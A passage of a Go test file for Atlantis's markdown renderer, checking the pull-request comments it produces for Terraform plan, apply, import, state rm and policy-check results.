fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\tEquals(t, normalize(c.Expected+\n\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log)), normalize(s))\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestRenderFailure(t *testing.T) {\n\tcases := []struct {\n\t\tDescription string\n\t\tCommand     command.Name\n\t\tFailure     string\n\t\tExpected    string\n\t}{\n\t\t{\n\t\t\t\"apply failure\",\n\t\t\tcommand.Apply,\n\t\t\t\"failure\",\n\t\t\t\"**Apply Failed**: failure\",\n\t\t},\n\t\t{\n\t\t\t\"plan failure\",\n\t\t\tcommand.Plan,\n\t\t\t\"failure\",\n\t\t\t\"**Plan Failed**: failure\",\n\t\t},\n\t\t{\n\t\t\t\"policy check failure\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"failure\",\n\t\t\t\"**Policy Check Failed**: failure\",\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tres := command.Result{\n\t\t\tFailure: c.Failure,\n\t\t}\n\t\tfor _, verbose := range []bool{true, false} {\n\t\t\tt.Run(fmt.Sprintf(\"%s_%t\", c.Description, verbose), func(t *testing.T) {\n\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\tName:    c.Command,\n\t\t\t\t\tVerbose: verbose,\n\t\t\t\t}\n\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\tif !verbose {\n\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t} else {\n\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\tEquals(t, normalize(c.Expected+\n\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log)), normalize(s))\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestRenderErrAndFailure(t *testing.T) {\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tres := command.Result{\n\t\tError:   errors.New(\"error\"),\n\t\tFailure: \"failure\",\n\t}\n\tcmd := &events.CommentCommand{\n\t\tName:    command.Plan,\n\t\tVerbose: false,\n\t}\n\n\ts := r.Render(ctx, res, cmd)\n\tEquals(t, \"**Plan Error**\\n```\\nerror\\n```\", normalize(s))\n}\n\nfunc TestRenderProjectResults(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tSubCommand     string\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"no projects\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{},\n\t\t\tmodels.Github,\n\t\t\t\"Ran Plan for 0 projects:\\n\\n\",\n\t\t},\n\t\t{\n\t\t\t\"single successful plan\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful plan with main ahead\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tMergedAgain:     true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n:twisted_rightwards_arrows: Upstream was modified, a new merge was performed.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful plan with project name\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful policy check with multiple policy sets and project name\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\t// strings.Repeat require to get wrapped result\n\t\t\t\t\t\t\t\t\tPolicyOutput: `FAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`,\n\t\t\t\t\t\t\t\t\tPassed:       false,\n\t\t\t\t\t\t\t\t\tReqApprovals: 1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\t\t\t\t\t// strings.Repeat require to get wrapped result\n\t\t\t\t\t\t\t\t\tPolicyOutput: \"2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:       true,\n\t\t\t\t\t\t\t\t\tReqApprovals: 1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tLockURL:   \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$\n\n#### Policy Set: $policy1$\n$$$diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions\n$$$\n\n#### Policy Set: $policy2$\n$$$diff\n2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions\n$$$\n\n\n#### Policy Approval Status:\n$$$\npolicy set: policy1: requires: 1 approval(s), have: 0.\npolicy set: policy2: passed.\n$$$\n* :heavy_check_mark: To **approve** this project, comment:\n  $$$shell\n  \n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful policy check with project name\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\t// strings.Repeat require to get wrapped result\n\t\t\t\t\t\t\t\t\tPolicyOutput: strings.Repeat(\"line\\n\", 13) + `FAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`,\n\t\t\t\t\t\t\t\t\tPassed:       false,\n\t\t\t\t\t\t\t\t\tReqApprovals: 1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tLockURL:   \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$\n\n<details><summary>Show Output</summary>\n\n#### Policy Set: $policy1$\n$$$diff\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions\n$$$\n\n\n</details>\n\n#### Policy Approval Status:\n$$$\npolicy set: policy1: requires: 1 approval(s), have: 0.\n$$$\n* :heavy_check_mark: To **approve** this project, comment:\n  $$$shell\n  \n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n$$$\npolicy set: policy1: 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions\n$$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful import\",\n\t\t\tcommand.Import,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tImportSuccess: &models.ImportSuccess{\n\t\t\t\t\t\t\tOutput:    \"import-output\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Import for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nimport-output\n$$$\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful state rm\",\n\t\t\tcommand.State,\n\t\t\t\"rm\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tStateRmSuccess: &models.StateRmSuccess{\n\t\t\t\t\t\t\tOutput:    \"state-rm-output\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan State $rm$ for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nstate-rm-output\n$$$\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful apply\",\n\t\t\tcommand.Apply,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for dir: $path$ workspace: $workspace$\n\n$$$diff\nsuccess\n$$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful apply with project name\",\n\t\t\tcommand.Apply,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nsuccess\n$$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful plans\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output2\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. project: $projectname$ dir: $path2$ workspace: $workspace$\n$$$diff\nterraform-output2\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path2 -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path2 -w workspace\n  $$$\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful policy checks\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tLockURL:   \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}, LockURL: \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n#### Policy Set: $policy1$\n$$$diff\n4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\n$$$\n\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. project: $projectname$ dir: $path2$ workspace: $workspace$\n#### Policy Set: $policy1$\n$$$diff\n4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\n$$$\n\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path2 -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path2 -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful applies\",\n\t\t\tcommand.Apply,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success2\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for 2 projects:\n\n1. project: $projectname$ dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n---\n\n### 1. project: $projectname$ dir: $path$ workspace: $workspace$\n$$$diff\nsuccess\n$$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n$$$diff\nsuccess2\n$$$\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored\n`,\n\t\t},\n\t\t{\n\t\t\t\"single errored plan\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n**Plan Error**\n$$$\nerror\n$$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single failed plan\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n**Plan Failed**: failure\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored plan\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path3\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. project: $projectname$ dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Plan Failed**: failure\n\n---\n### 3. project: $projectname$ dir: $path3$ workspace: $workspace$\n**Plan Error**\n$$$\nerror\n$$$\n\n---\n### Plan Summary\n\n3 projects, 1 with changes, 0 with no changes, 2 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored policy 